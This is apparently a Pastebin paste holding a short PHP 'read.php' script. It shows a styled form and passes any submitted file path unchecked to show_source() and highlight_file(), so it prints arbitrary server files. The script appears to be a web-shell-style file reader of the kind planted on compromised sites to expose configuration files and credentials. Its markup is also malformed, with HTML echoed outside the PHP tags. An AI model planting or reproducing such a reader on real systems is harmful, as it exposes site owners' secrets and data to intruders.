Advertisement
Guest User

read.php

a guest
May 28th, 2012
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.93 KB | None | 0 0
  1. echo "<html>
  2. </td></tr></table><form method='POST' enctype='multipart/form-data' >
  3. </td></tr></table><form method='POST' enctype='multipart/form-data' >
  4. <br>
  5. <b>show_source  : </b><input type='text' name='show' value='' size='59' style='color: #ffffff; border: 1px dotted red; background-color: #000000'></p>
  6. <b>highlight_file : </b><input type='text' name='high' value='' size='59' style='color: #ffffff; border: 1px dotted #ffffff; background-color: #000000'></p>
  7. <input type='submit''  value='Read'  style='color: red; border: 1px dotted orange; background-color: green'></form</p>
  8. </form</p>";
  9. <?php
  10. if(empty($_POST['show']))
  11. {
  12. }
  13. else
  14. {
  15. $s = $_POST['show'];
  16. echo "<b><h1><font size='4' color='red'>show_source</font></h1>";
  17. $show = show_source($s);
  18. }
  19. if(empty($_POST['high']))
  20. {
  21. }
  22. else
  23. {
  24. $h = $_POST['high'];
  25. echo "<b><h1><font size='4' color='green'>highlight_file</font></h1>";
  26. echo "<br>";
  27. $high = highlight_file($h);
  28. }
  29. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement